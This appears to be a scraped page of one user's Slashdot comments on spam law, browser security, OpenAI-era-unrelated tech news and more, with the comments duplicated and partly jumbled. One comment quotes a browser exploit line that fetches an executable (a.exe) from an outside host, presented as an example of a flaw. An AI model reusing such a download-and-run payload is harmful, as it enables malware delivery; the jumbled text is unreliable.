I agree that the law looks flawed, and it's okay to protest. What I don't understand is, where were these guys when another flawed law passed congress?
CAN Spam stupid
on
Spam Bits
·
· Score: 3, Insightful
I hang out in various anti-spam communities (news.admin.net-abuse.email and some IRC channesl) and most of us (tinu) agrees that (I) Can Spam is pretty clueless. Now, I'd like to hear comments from someone who's not an anti-spam zealot. Is there anyone who thinks Can Spam is worth the paper it's written on? (Anyone not associated with Direct Marketing).
Oh what the heck - let them have a TLD of their own. As a matter of fact, I'm willing to sacrifice.biz and give that to the mobile community. After all, has anyone ever received an email from a.biz address that wasn't spam? It might as well be transformed to something usefull. Besides, it's short and easy to type using T9 completion.
Why is it that the car they're actually producing is no where near as cool looking as the car from the development site . I know most of the arguments pro and cons of electric cars are of a technical nature, but let's not forget that humans often buys with their eyes. A slick looking electric car would probably sell better than one that looks like a moris minor.
"Back when I was a young geek, there was a common expression called "is that a fact?". Now that's just silly I know, because all the facts in the world was copyrighted in 2004. You know - when I went to school, we got high grades if we got our facts straight. Now after that evil coorporation sued the school system, that's just not the case anymore"
I'm a magician, and a "mentalist". That means, I pretend to have psychich powers (which I don't, but I don't explain that until after I've convinced the spectator that I have).
One of my tricks is to predict the outcome of a cointoss. I start out with pseudo science explanation, and then, as I continue to be correct, continue on to a supernatural explanation.
The explanation given in this article, as to why a coin is biased, can be boiled down to this (quote from the article): For a wide range of possible spins, the coin never flips at all, the team proved. . That is - the extra bias is towards the side that was up from before the toss, and is a result of the coin not spinning at all. If that's their big scoop, I'm dissapointed, because if the coin doesn't spin, it's not within my definition of a coin toss.
The article actually mentions magicians: Magicians and charlatans may take advantage of this illusion. Keller observes, "Some people can throw the coin up so that it just wobbles but looks to the observer as if it is turning over." He has obviously seen a magician to the same trick I do. Of course I wont reveal the secret, but I can tell you this: he's wrong. The dirty work does not happen in the toss. The coin actually do spin, and the secret move is done at an offbeat moment.
including software that later triggered a huge explosion in a Siberian natural-gas pipeline
I find this very hard to believe. *If* you actually made a system so fragile, that explosions could be triggered by software, would you install software you stole from the enemy on that system?
Besides, if it was indeed possible to trigger an explosion, it had to be very proprietary code. Didn't the russians wonder why code they stole from the enemy would run on their own computers?
I'm just wondering, not trying to say that this might not be exactly what happened.
This happens every day. A story is posted on slashdot that links to some site. Site is brought to its knees.
Now - how about a slashdot-cache like google cache? It's not fair to punish the guys that post interesting stuff on their website like this story. All links in the story would then link to the slashdot-cache and leave the original site alive.
And - aside from saving the sites some trouble, it would enable those of us who came in late to see how he dismantled that ipod.
This is a good idea, and we (tinw) has discussed this many times before, and various implementations already exists (that is - verifying the sender domain, not the specific MS implementation).
Now, what bothers me is this line:
Microsoft believes that it has patent rights (patent(s) and/or pending applications(s))
Given the latest stories on how easy it is to patent everything "over there", I am pretty sure MS is granted this patent. Now I don't know about you, but this geek ain't licensing nothing from MS.
Please enlighten me as to why this is news? This happens every day! It's called lobbying. Is it because it's the mother of all evil megacorps that's doing the lobbying?
I think it's great that the movie industry finally wakes up and smells the java. Cudos to Brazil for this bold move. So - now they have this fancy all digital top notch movie theatre - where are the films? With Hollywood being overly paranoid over piracy, will they agree to upload their new blockbuster hit to a server in Brazil?
And - while we're on the subject - will this result in more piracy? Or just better (picture) quality piracy? I think the answer is the latter. So - if this doesn't mean *more* piracy, then what's there to be afraind of, Hollywood?
Why do you think an american tenderloin beef is larger than a european one? Correct - the US beef is gene modificated. That's why there's a ban on importing beef from the US to Europe. Now, this has been going on for more than a decade. Altering muscles genetically is not news! But using the enlarged muscles for something other than to make larger beefs is. Of course, this has been explored in countless action movies already like Soldier and Drive
and should never have been implemented in a browser. After all, it's not a browsers task to launch files. I remember thinking this back when Windows Explorer and Internet Explorer merged into one (you can actually type URLs in your windows explorer window). <Comic book guy> Worst idea.. ever </Comic book guy>
This is just a case of bad journalism. Of course, there are many methods of getting the IP of the receiver of an email The most common is a webbug (a link to an image on a server you control), but that requires for the culprit to use a mail client that renders HTML.
"Internet Protocol Address Verifyer" sounds like something you'd find in a Movie OS. Of course, like all other buzz words, the name is not related to the alledged function.
They either used a webbug, og checked the IP in the header of the mail he sent with his claim.
It's cool to create media that can hold information for an extended period of time. But - do not forget that you need to have a device that can read the media. I've saved some of my earliest work from the 70's on a paper strip with holes in it, and from the 80's on a 12" floppy disk. Both look like mint condition, and I'm sure they work. But - I haven't got any hardware that can read them.
So - if you plan to store digital information for decades, you need to store the player as well. That means, you need to make hardware that will work after, say, 100 years. This makes me think if we should strive after something that's human readable (microfilm or plain old paper) instead of something that require a computer. This is by far an easy problem to solve. My humble suggestion is to save information on todays media and prepare to copy it to a new media every 10 years.
I'd like to point out the Danish anti-spam law which has been effective for about a year now. It's very very effective. The ombudsman has created a webpage where you can report spam. If he receives "enough" complaints about the same spammer, he sues them for you. Yes - that's correct. All you have to do is send in the evidence. Of course, this only works if the recipient has a clue, otherwise they'd spend way too much time researching dead ends. But our ombudsman is pretty cool, and he already sued danish big time spammer Fonn. The result you ask? The spammer had to pay $15 for each piece of spam. Needless to say, they haven't been spamming since.
This was my first thought exactly. Even though it's been almost 30 years since I read that book, I can still remember it. AFAIK it was in the book The Mystery Of The Whispering Mummy from 1965.
Man... now I'm all nostalgic and stuff. Must...read...book...again..
What I really would like to see was, if they'd tested Microsoft Office as well. By that I mean, they should try opening the same documents in, say, Office 97 and test it the exact same way as the others.
The article does mention that, but I reckon most readers will just look at the table and say "I need 100% - I'll take MS office"
This is yet another technical solution to a social problem. It's one of the better I've seen - no doubt about that - it's just that... it wont work.
I reckon we can work out technical solutions all that we want, which in turn will give us a brief relief for spam. But then the spammers catch up, and we're back where we started.
As long as there's money in spam, there will be spam. We've already seen that spammers are no good scumbags that doesn't stop at *any* means - including dDos attacks. The only solution to spam is a political approach. First of all, we need good, sound anti-spam laws. A very simple law like "it's illegal to send commercial email to anyone without prior consent" would do. Now we have a useful tool, and when the first dozen spammers has been sued back to the stoneage, I believe the spam load will drop for good.
Besides, why do *I* have to jump through hoops to get rid of something I never asked for in the first place?
Ok, maybe it's just me, but why is it that I have to provide Ciso with serial number, date of purchase and the name of my cat to get this fix? I mean - the fix is software, and it will only work on Ciso units. So - for crying out loud - put the patch on an FTP site and get over with it. Jumping through hoops to get the patch isn't going to speed things up.
Openoffice has really matured lately. With at least two free (not as in beer) Exchange server substitutes, I reckon OpenOffice is ready for... the office.
What I would like to read is a review of OpenOffice from some non-techie end user from a company that has switched to OO. Did the migration work seemlessly? Did the $ saved in software license measure up to the manhours the IT department had to use for support? Basically, a cost-benefit analysis, because a positive analysis like that is what it takes for the suits to recognize OO.
When I saw this movie more than 10 years ago, I remember people where discussing wether the CD's the alien used could withstand the torque. It has now been verified that the movie was unrealistic
Slashdot Mirror
I agree that the law looks flawed, and it's okay to protest. What I don't understand is, where were these guys when another flawed law passed congress?
I hang out in various anti-spam communities (news.admin.net-abuse.email and some IRC channesl) and most of us (tinu) agrees that (I) Can Spam is pretty clueless. Now, I'd like to hear comments from someone who's not an anti-spam zealot. Is there anyone who thinks Can Spam is worth the paper it's written on? (Anyone not associated with Direct Marketing).
aw man - first C is declared dead and now video games are dead. If the next slashdot story is that pr0n is dead, I've lost my three favorite hobbies.
Oh what the heck - let them have a TLD of their own. As a matter of fact, I'm willing to sacrifice .biz and give that to the mobile community. After all, has anyone ever received an email from a .biz address that wasn't spam? It might as well be transformed to something usefull. Besides, it's short and easy to type using T9 completion.
Why is it that the car they're actually producing is no where near as cool looking as the car from the development site . I know most of the arguments pro and cons of electric cars are of a technical nature, but let's not forget that humans often buys with their eyes. A slick looking electric car would probably sell better than one that looks like a moris minor.
June 22nd, 2009
"Back when I was a young geek, there was a common expression called "is that a fact?". Now that's just silly I know, because all the facts in the world was copyrighted in 2004. You know - when I went to school, we got high grades if we got our facts straight. Now after that evil coorporation sued the school system, that's just not the case anymore"
I'm a magician, and a "mentalist". That means, I pretend to have psychich powers (which I don't, but I don't explain that until after I've convinced the spectator that I have).
One of my tricks is to predict the outcome of a cointoss. I start out with pseudo science explanation, and then, as I continue to be correct, continue on to a supernatural explanation.
The explanation given in this article, as to why a coin is biased, can be boiled down to this (quote from the article): For a wide range of possible spins, the coin never flips at all, the team proved. . That is - the extra bias is towards the side that was up from before the toss, and is a result of the coin not spinning at all. If that's their big scoop, I'm dissapointed, because if the coin doesn't spin, it's not within my definition of a coin toss.
The article actually mentions magicians: Magicians and charlatans may take advantage of this illusion. Keller observes, "Some people can throw the coin up so that it just wobbles but looks to the observer as if it is turning over."
He has obviously seen a magician to the same trick I do. Of course I wont reveal the secret, but I can tell you this: he's wrong. The dirty work does not happen in the toss. The coin actually do spin, and the secret move is done at an offbeat moment.
From the article:
including software that later triggered a huge explosion in a Siberian natural-gas pipeline
I find this very hard to believe. *If* you actually made a system so fragile, that explosions could be triggered by software, would you install software you stole from the enemy on that system?
Besides, if it was indeed possible to trigger an explosion, it had to be very proprietary code. Didn't the russians wonder why code they stole from the enemy would run on their own computers?
I'm just wondering, not trying to say that this might not be exactly what happened.
The headline is misleading. From the report in html version
17% have posted written material on Web sites.
That wasn't the impression I got from reading the part of the article that was a link. Creative journalism indeed.
This happens every day. A story is posted on slashdot that links to some site.
Site is brought to its knees.
Now - how about a slashdot-cache like google cache? It's not fair to punish the guys that post interesting stuff on their website like this story.
All links in the story would then link to the slashdot-cache and leave the original site alive.
And - aside from saving the sites some trouble, it would enable those of us who came in late to see how he dismantled that ipod.
This is a good idea, and we (tinw) has discussed this many times before, and various implementations already exists (that is - verifying the sender domain, not the specific MS implementation).
Now, what bothers me is this line:
Microsoft believes that it has patent rights (patent(s) and/or pending applications(s))
Given the latest stories on how easy it is to patent everything "over there", I am pretty sure MS is granted this patent. Now I don't know about you, but this geek ain't licensing nothing from MS.
Please enlighten me as to why this is news? This happens every day! It's called lobbying. Is it because it's the mother of all evil megacorps that's doing the lobbying?
Here's wikipedia's definition of lobyism.
I think it's great that the movie industry finally wakes up and smells the java. Cudos to Brazil for this bold move. So - now they have this fancy all digital top notch movie theatre - where are the films? With Hollywood being overly paranoid over piracy, will they agree to upload their new blockbuster hit to a server in Brazil?
And - while we're on the subject - will this result in more piracy? Or just better (picture) quality piracy? I think the answer is the latter. So - if this doesn't mean *more* piracy, then what's there to be afraind of, Hollywood?
Why do you think an american tenderloin beef is larger than a european one? Correct - the US beef is gene modificated. That's why there's a ban on importing beef from the US to Europe. Now, this has been going on for more than a decade. Altering muscles genetically is not news! But using the enlarged muscles for something other than to make larger beefs is. Of course, this has been explored in countless action movies already like Soldier and Drive
This looks pretty ugly:
.. ever </Comic book guy>
x.Open("GET", "http://adversting.co.uk/a.exe",0);
and should never have been implemented in a browser. After all, it's not a browsers task to launch files. I remember thinking this back when Windows Explorer and Internet Explorer merged into one (you can actually type URLs in your windows explorer window). <Comic book guy> Worst idea
I, for one, welcome our new robot-scientist overlords
This is just a case of bad journalism. Of course, there are many methods of getting the IP of the receiver of an email The most common is a webbug (a link to an image on a server you control), but that requires for the culprit to use a mail client that renders HTML.
"Internet Protocol Address Verifyer" sounds like something you'd find in a Movie OS. Of course, like all other buzz words, the name is not related to the alledged function.
They either used a webbug, og checked the IP in the header of the mail he sent with his claim.
It's cool to create media that can hold information for an extended period of time. But - do not forget that you need to have a device that can read the media. I've saved some of my earliest work from the 70's on a paper strip with holes in it, and from the 80's on a 12" floppy disk. Both look like mint condition, and I'm sure they work. But - I haven't got any hardware that can read them.
So - if you plan to store digital information for decades, you need to store the player as well. That means, you need to make hardware that will work after, say, 100 years. This makes me think if we should strive after something that's human readable (microfilm or plain old paper) instead of something that require a computer. This is by far an easy problem to solve. My humble suggestion is to save information on todays media and prepare to copy it to a new media every 10 years.
I'd like to point out the Danish anti-spam law which has been effective for about a year now. It's very very effective. The ombudsman has created a webpage where you can report spam. If he receives "enough" complaints about the same spammer, he sues them for you. Yes - that's correct. All you have to do is send in the evidence. Of course, this only works if the recipient has a clue, otherwise they'd spend way too much time researching dead ends. But our ombudsman is pretty cool, and he already sued danish big time spammer Fonn. The result you ask? The spammer had to pay $15 for each piece of spam. Needless to say, they haven't been spamming since.
This was my first thought exactly. Even though it's been almost 30 years since I read that book, I can still remember it. AFAIK it was in the book The Mystery Of The Whispering Mummy from 1965.
Man... now I'm all nostalgic and stuff. Must...read...book...again..
What I really would like to see was, if they'd tested Microsoft Office as well. By that I mean, they should try opening the same documents in, say, Office 97 and test it the exact same way as the others.
The article does mention that, but I reckon most readers will just look at the table and say "I need 100% - I'll take MS office"
This is yet another technical solution to a social problem. It's one of the better I've seen - no doubt about that - it's just that ... it wont work.
I reckon we can work out technical solutions all that we want, which in turn will give us a brief relief for spam. But then the spammers catch up, and we're back where we started.
As long as there's money in spam, there will be spam. We've already seen that spammers are no good scumbags that doesn't stop at *any* means - including dDos attacks. The only solution to spam is a political approach. First of all, we need good, sound anti-spam laws. A very simple law like "it's illegal to send commercial email to anyone without prior consent" would do. Now we have a useful tool, and when the first dozen spammers has been sued back to the stoneage, I believe the spam load will drop for good.
Besides, why do *I* have to jump through hoops to get rid of something I never asked for in the first place?
Ok, maybe it's just me, but why is it that I have to provide Ciso with serial number, date of purchase and the name of my cat to get this fix? I mean - the fix is software, and it will only work on Ciso units. So - for crying out loud - put the patch on an FTP site and get over with it. Jumping through hoops to get the patch isn't going to speed things up.
Openoffice has really matured lately. With at least two free (not as in beer) Exchange server substitutes, I reckon OpenOffice is ready for... the office.
What I would like to read is a review of OpenOffice from some non-techie end user from a company that has switched to OO. Did the migration work seemlessly? Did the $ saved in software license measure up to the manhours the IT department had to use for support? Basically, a cost-benefit analysis, because a positive analysis like that is what it takes for the suits to recognize OO.
When I saw this movie more than 10 years ago, I remember people where discussing wether the CD's the alien used could withstand the torque. It has now been verified that the movie was unrealistic